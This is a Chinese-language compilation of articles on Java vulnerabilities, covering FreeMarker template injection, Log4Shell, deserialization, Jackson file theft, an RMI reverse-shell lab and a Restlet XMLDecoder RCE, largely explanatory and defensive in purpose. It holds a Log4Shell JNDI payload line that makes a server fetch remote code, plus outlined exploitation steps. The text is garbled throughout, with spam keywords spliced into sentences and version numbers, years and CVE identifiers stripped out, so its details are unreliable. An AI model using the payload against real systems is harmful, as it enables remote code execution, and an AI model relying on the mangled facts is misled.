1.Java FreeMarker模板引擎注入深入分析
2.手把手教你复现 Log4j2 漏洞，源码千万别中招！漏洞
3.JAVA 反序列化漏洞（JAVA 反序列化相关知识概述）
4.核弹级漏洞！源码我把log4j扒给你看！漏洞
5.Java进阶Jackson安全漏洞，源码可导致服务器文件被恶意窃取
6.如何防范最新的漏洞黑科技源码网Java平台漏洞？

Java FreeMarker模板引擎注入深入分析

       深入理解Java FreeMarker模板引擎的注入漏洞

       在漏洞挖掘和安全研究中，FreeMarker模板引擎的源码注入问题引起了关注。相比于其他模板引擎，漏洞如Thymeleaf，源码FreeMarker的漏洞注入攻击机制有所不同。本文主要聚焦于FreeMarker的源码SSTI（Site-Specific Template Injection）。

       FreeMarker 2.3.版本是漏洞本文研究的基础，它的源码工作原理涉及插值和FTL指令。插值允许数据模型中的漏洞数据替换输出，如在.ftl文件中使用${ name}。源码FTL指令则像HTML一样，但以#开头，提供了更丰富的功能。然而，FreeMarker SSTI的触发需要特定的攻击流程：首先，HTML需要被引入服务器，可通过上传文件或利用带有模板编辑功能的CMS。

       攻击的关键在于，FreeMarker SSTI不像Thymeleaf那样仅通过传参就能触发RCE。它需要将HTML转化为模板才能触发漏洞。环境搭建需要一定的基础，但这里未详述，推荐自行查阅。漏洞复现过程表明，攻击需要将HTML插入模板文件中，且利用了freemarker.template.utility.Execute类中的命令执行方法。

       漏洞分析涉及MVC架构和FreeMarker的模板加载流程。通过Spring的DispatcherServlet，HTML被转化为FreeMarkerView实例，然后在processTemplate和process方法中进行渲染。其中，对FTL表达式的处理涉及复杂的visit和eval方法，这些步骤确保了命令执行的条件和安全性。

       FreeMarker的内置函数new和api为攻击者提供了可能，但官方在2.3.版本后默认禁用了api函数的使用，以加强防护。通过设置TemplateClassResolver，可以限制对某些危险类的湖北java开发源码交付解析，从而减少攻击面。

       小结：FreeMarker的SSTI防护相对严格，尽管存在攻击面，但其内置的防护机制和版本更新为安全提供了保障。深入研究FreeMarker源码是了解其安全特性和可能绕过的必要步骤。

手把手教你复现 Log4j2 漏洞，千万别中招！

       Apache Log4j2是广泛应用的Java日志框架，然而近期曝出的漏洞引发了广泛关注。本文旨在手把手教你复现实现Log4j2漏洞，避免成为攻击目标。首先，让我们了解Log4j2的基本信息。

       Apache Log4j2是一个开源Java日志框架，因其灵活和强大的特性被广泛使用于中间件、开发框架及Web应用中。理解这一背景有助于我们深入探讨漏洞的实现过程。

       Log4j2的漏洞主要源于其递归解析功能，未经身份验证的攻击者通过特定恶意数据包，能在目标服务器上执行任意代码，造成严重安全风险。该漏洞影响范围广泛，涵盖Apache Log4j 2.x <= 2..0-rc1 版本。

       要复现实现Log4j2漏洞，请遵循以下步骤进行环境搭建与漏洞利用：

       1. 创建Maven项目并导入Log4j依赖包，这是基础步骤，确保项目的构建环境符合漏洞利用要求。

       2. 利用POC测试漏洞。编写恶意类Exploit.class，这需要熟悉Java类的构建与编译。

       3. 在本地开启一个LDAP服务，结合marshalsec-0.0.3-SNAPSHOT-all.jar，执行Poc.java文件，以访问并执行恶意类中的特定命令。

       在执行过程中，需要考虑异常处理，如官方在RC2版本中对异常捕获的改进，以提高攻击的复杂度和逃避检测的可能。此外，使用特定的数据包如 "?Type=A Type&Name=&Char=!" 可能绕过某些版本的修复。

       对于修复方式，Apache官方已发布新版本并提供补丁，栖霞正规进口溯源码燕窝强烈建议用户及时升级至最新版本。同时，采取临时措施进行漏洞防范，具体方法可参考官方文档及第三方安全指南。

       总结，复现实现Log4j2漏洞需具备一定Java编程及安全测试技能，通过正确利用漏洞，可以有效测试系统安全性。为避免实际应用中的安全风险，定期更新软件、加强安全意识及采取多层防护策略是必要的措施。

JAVA 反序列化漏洞（JAVA 反序列化相关知识概述）

       Java 反序列化漏洞严重威胁了Java技术平台的安全，年的Apache Commons RCE漏洞和随后WebLogic等产品的远程代码执行漏洞凸显其广泛影响。国内重点单位内网广泛应用Java，尤其是WebLogic和Websphere，使得这个漏洞尤为危险，可能导致系统被黑客控制和数据泄露。

       序列化与反序列化是Java中对象数据的存储与恢复过程。ObjectOutputStream用于对象的序列化，而ObjectInputStream负责反序列化。对象要能被序列化，需实现Serializable或Externalizable接口。前者采用默认方式，后者则由类自身控制。在开发中，可以通过search.maven.org和mvnrepository.com下载所需的jar包。

       值得注意的是，序列化数据通常以特定的十六进制格式"aced "或经过base加密的"rO0AB"开头，这些特征在分析通信数据包时至关重要。一旦这些应用中的反序列化过程被恶意利用，就可能导致系统面临安全威胁，黑客能执行任意命令，对系统造成破坏或窃取数据。

       在搭建环境和处理数据时，务必确保对序列化操作的严谨控制，及时修复安全漏洞，以防止此类漏洞引发的严重后果。

核弹级漏洞！我把log4j扒给你看！

       大家好，我是轩辕。

       日志系统对于程序运行状态的阴阳决源码指标免费下载监控和问题排查至关重要，Java技术栈中常用的日志输出框架有log4j2和logback。今天，我们将聚焦于log4j2，探讨其强大的查找功能——Lookup，以及其中的JNDI和LDAP组件。

       通过日志，我们能了解程序运行情况，识别问题所在。在Java中，log4j2允许输出程序变量，但有时我们需要输出不在程序内的Java对象。这时，Lookup功能便派上了用场，它允许我们在输出日志时通过特定方式查找内容。

       Lookup相当于一个接口，具体查找方式由实现模块决定。log4j2提供了常见的查找途径，但重点在于JNDI组件。JNDI即Java Naming and Directory Interface，提供目录系统，实现服务名称与对象关联，方便开发者使用名称访问对象。

       理解JNDI就像使用字典查找单词一样，通过名称获取对象。虽然实现方式复杂，但对于开发人员来说，只需简单地调用JNDI接口传入名称即可获取对象。

       在网络安全中，重要的一点是不信任用户输入的信息。因此，当程序将浏览器类型记录为日志时，需意识到User-Agent属于外部输入，可能包含恶意内容。若攻击者构造了特定的HTTP请求，User-Agent包含JNDI扩展内容，如${ jndi:ldap://.0.0.1/exploit}，则程序将尝试通过JNDI查找对象。

       程序解析字符串，发现JNDI扩展，进一步解析至LDAP协议，获取服务器地址与查找键。最终，抓包网站源码数据通过具体实现模块请求对应数据。但危险在于，攻击者可以请求远程Java对象。Java对象通常存储在内存中，但可通过序列化方式在文件中或通过网络传输。更危险的是，JNDI支持远程下载class文件，构建对象。

       核心问题在于Java允许通过JNDI远程下载class文件来加载对象。如果远程地址被攻击者控制，且下载的class文件包含恶意代码，将导致远程代码执行（RCE），造成严重安全威胁。这一机制在年的Black Hat大会上已被披露，强调了Java在日志输出中使用JNDI时的安全风险。

       这一漏洞影响范围广泛，因为log4j2在Web、后端开发、大数据等领域应用广泛，包括阿里巴巴、京东、美团等大型公司以及中小企业。许多中间件如kafka、elasticsearch、flink等也是用Java语言开发，大量使用log4j2作为日志输出，一旦有外部参数混入，将面临远程代码执行的风险。

       为解决此问题，新版本的log4j2已进行了修复，限制了JNDI lookup的功能。开发人员应立即升级到最新版本，并检查程序中是否有外部参数混入日志输出的风险。通过检查和升级，可以有效减少安全漏洞，保护系统安全。

Java进阶Jackson安全漏洞，可导致服务器文件被恶意窃取

       在最近对Java框架的更新中，发现Jackson也存在一个值得注意的安全漏洞，可能导致服务器文件遭受恶意窃取。这个漏洞虽然存在已久，但由于人们对Jackson的认知不足，往往低估了其问题数量。实际上，Jackson的问题同样不容忽视，如Fastjson一样，问题频发可能源于使用频率高。

       漏洞的关键在于，使用Jackson 2.9.9之前的版本，如果应用依赖mysql-connector-java，那么攻击者可以通过构造特殊字符串，利用Jackson的Default Typing特性，创建一个具体的实例。接着，利用MySQL的LOAD DATA LOCAL INFILE功能，恶意服务可以读取客户端的任意文件，例如敏感的密码文件。MySQL官方文档指出，理论上，攻击者可以构建一个伪装服务器，控制客户端传输文件，从而导致文件泄露。

       漏洞的触发点在于MySQL JDBC驱动中的配置，如allowLoadLocalInfile默认允许从本地读取文件。通过Jackson的反序列化，可以利用com.mysql.cj.jdbc.admin.MiniAdmin类创建连接到恶意服务的JDBC连接，进而窃取文件。已有的恶意MySQL服务如Rogue-MySql-Server可以作为攻击示例。

       为保护系统，建议采取以下措施：避免使用Object作为Jackson反序列化的目标，以减少风险；及时更新序列化工具，尤其是Jackson，确保安全版本的使用。在生产环境中，警惕任何可能的恶意JSON输入，MySQL自8.0.开始已将allowLoadLocalInfile默认设置为禁用。

如何防范最新的Java平台漏洞？

       如何防范最新的Java平台漏洞？

       针对Java平台的攻击正逐渐抬头，安全研究人员提出了一些方法，以保护计算机免受针对Java平台的攻击。在甲骨文未提供官方补丁之前，用户可通过这些方法降低系统遭受攻击的风险。

       未经授权执行应用是Java平台上最常见的漏洞类型。安全专家Adam Gowdiak发现了Java 5、Java 6及Java 7平台上的漏洞，黑客可通过此漏洞在超过亿台装有Java的Mac和PC机上安装恶意软件与病毒。安全公司FireEye的研究人员也曾宣布发现了Java平台的安全漏洞。用户通过启用了Java插件的Web浏览器访问网页时，会被悄悄执行内嵌在其中的恶意代码。

       甲骨文发布了一些补丁声称修复了一些漏洞，但未来是否还会出现新的漏洞？若出现新漏洞而暂时无补丁程序，用户应如何应对？

       为保护系统、避免安全漏洞攻击，大多数安全专业人员建议卸载Java或至少禁用浏览器中的Java Web插件。美国计算机紧急响应小组(US-CERT)发布了禁用Java插件的具体方法，这能有效缓解Java新安全漏洞风险。

       然而，这种方法显得有些因噎废食。依赖Java平台Web应用程序的企业不能因安全漏洞停掉运营中的业务。Sophos高级安全顾问Chester Wisniewski表示，大多数消费者或许不需Java平台，但许多企业用户的应用确实需要Java，如GoTo Meeting和WebEx。

       Qualys首席技术官Wolfgang Kandek提出解决方案，利用IE浏览器中基于区域的安全机制，限制网站加载Java应用的权限。Kandek建议用户在互联网(Internet Zone)中禁止使用Java，然后允许Java只在信任区域(Trusted Zone)中加入白名单的网站上运行。同时，Chrome和Mozilla Firefox的用户启用点击播放功能也能达到类似效果。Chrome和Firefox的用户可通过高级设置或“about:config”界面激活点击播放功能。

       安全策略应因人而异，最适合的策略既要看对Java平台的应用程度，还要考虑企业现有安全状况。将某一种策略普适于所有人显得不切实际。

学习Vulhub的Java RMI Registry 反序列化漏洞(<=jdk8u)

       本文将探讨Java RMI Registry中的反序列化漏洞在Vulhub环境中的实践，特别是在JDK 8u及以下版本中的应用。RMI，即Java远程方法调用，允许在不同Java环境间进行远程调用，然而，其远程bind功能的滥用可能导致安全问题。当Registry接收到伪造的序列化数据，特别是那些实现了Remote接口或动态代理对象的数据时，恶意攻击者可能会利用这个漏洞触发反序列化攻击。

       首先，确保你已在Docker环境中设置了Vulhub，并进入相应的目录，准备复现这个漏洞。实验开始时，RMI Registry会监听端口。你可以通过访问dnslog，执行"get subdomain"操作进行初步测试。

       在另一台机器上，你需要提前下载ysoserial-all.jar工具。执行特定命令后，查看dnslog上的访问记录，观察异常行为。在尝试反弹shell时，直接的bash方法可能无效，但可以利用漏洞下载文件。采取间接方式，比如准备一个sh文件，进行下一步操作。

       接下来，你需要设置一个web服务，以便接收并执行从远程反弹的shell。通过下载并执行准备好的sh文件，最终验证shell反弹是否成功。

       完成实验后，别忘了清理漏洞环境，以确保安全。

Restlet XMLDecoder 远程代码执行漏洞分析(CVE--)

       在整理Java Web组件命令执行漏洞时，我发现了一起年Restlet框架的XMLDecoder反序列化漏洞(CVE--)，该漏洞允许远程攻击者通过恶意XML数据或二进制数据执行任意Java代码。该漏洞与Weblogic的CVE--类似，但鲜有详细分析。

       Restlet是Java的一个Web API框架，旨在映射REST概念与Java类。2.1.2版本存在安全漏洞，由于使用了XMLDecoder处理用户控制的XML和二进制数据，可能导致远程代码执行。CTO上有个示例演示了攻击方式，关键在于XMLDecoder在解析用户输入时处理不当。

       要复现漏洞，可以参考GitHub上的测试环境。在Linux上，通过命令行运行，或在Windows中使用IDEA远程调试。修复方案是作者在Restlet框架中移除了默认支持的XML序列化JavaBean，并添加了安全警告。

       在分析过程中，我们看到攻击者通过PUT请求，利用Content-Type为application/x-java-serialized-object+xml的特性，触发XMLDecoder的反序列化操作，进而执行远程代码。需要注意的是，某些方法如getText()仅允许单次读取。

       最后，虽然修复了漏洞，但深入研究Restlet和XMLDecoder反序列化加深了对安全的理解。对于技术交流和学习资源，作者在微信公众号和知识星球分享相关文章和心得，欢迎大家关注。

       微信公众号：每日分享安全笔记与知识成长内容。

       知识星球：《安全学习记录》，已发布篇主题，每日更新，费用门槛为避免频繁索取。

深入分析Log4j 漏洞

       Apache Log4j 是一个基于 Java 的日志记录工具，拥有丰富的特性，包括高性能、低垃圾收集和插件系统等。它被广泛应用于互联网公司和知名开源框架的系统中。然而，在年月7日，Log4j 发现了一个严重的漏洞，黑客可以利用该漏洞在目标服务器上执行任意代码，导致服务器被控制。据统计，%以上基于 Java 开发的应用平台受到了影响。本文将深入分析这一漏洞的产生原因和修复方法。

       Log4j 的 lookup 功能允许快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等。在本次漏洞中，问题出在 Log4j2 组件中 JndiLookup 实现类的设计缺陷。这个类存在于 log4j-core-xxx.jar 中。通过 lookup 功能，攻击者可以构造特定字符串触发漏洞，从而在目标服务器上执行任意代码。

       漏洞产生主要与 MessagePatternConverter#format 方法中的处理逻辑有关。当配置存在且 noLookups 为 false（默认值）时，方法会通过 getStrSubstitutor() 替换原有字符串，如 ${ java:runtime}。由于没有白名单限制，攻击者可以构造任何字符串，只要符合 ${ 即可。进一步分析，事件处理在 Interpolator#lookup 方法中进行，支持多种类型，如 date、jndi、java、main 等。构造的事件如果为 jndi，则通过 JndiLoopup 处理，从而触发漏洞。

       受影响的 Log4j 版本范围为 2.0-beta9 到 2..0-rc1。Log4j 1.x 版本不受此漏洞影响。主要受影响的框架或组件包括 RMI、JNDI 等。

       以 RMI 服务为例，展示 Log4j 漏洞的复现过程。RMI 允许计算机之间进行远程方法调用，客户端通过存根与服务器端骨架进行交互。攻击者可以构造特定的 RMI 请求，利用 Log4j 漏洞在目标服务器上执行任意代码。在实际案例中，通过修改代码，攻击者可以在测试类中打印出任意内容，实现对服务器的控制。

       解决该漏洞的关键在于更新到 Log4j 的安全版本。开发者应密切关注 Log4j 的安全更新，并及时升级到最新版本以修复这一漏洞。此外，对于敏感的应用场景，建议采用白名单过滤机制限制 lookup 的数据来源，以提高系统的安全性。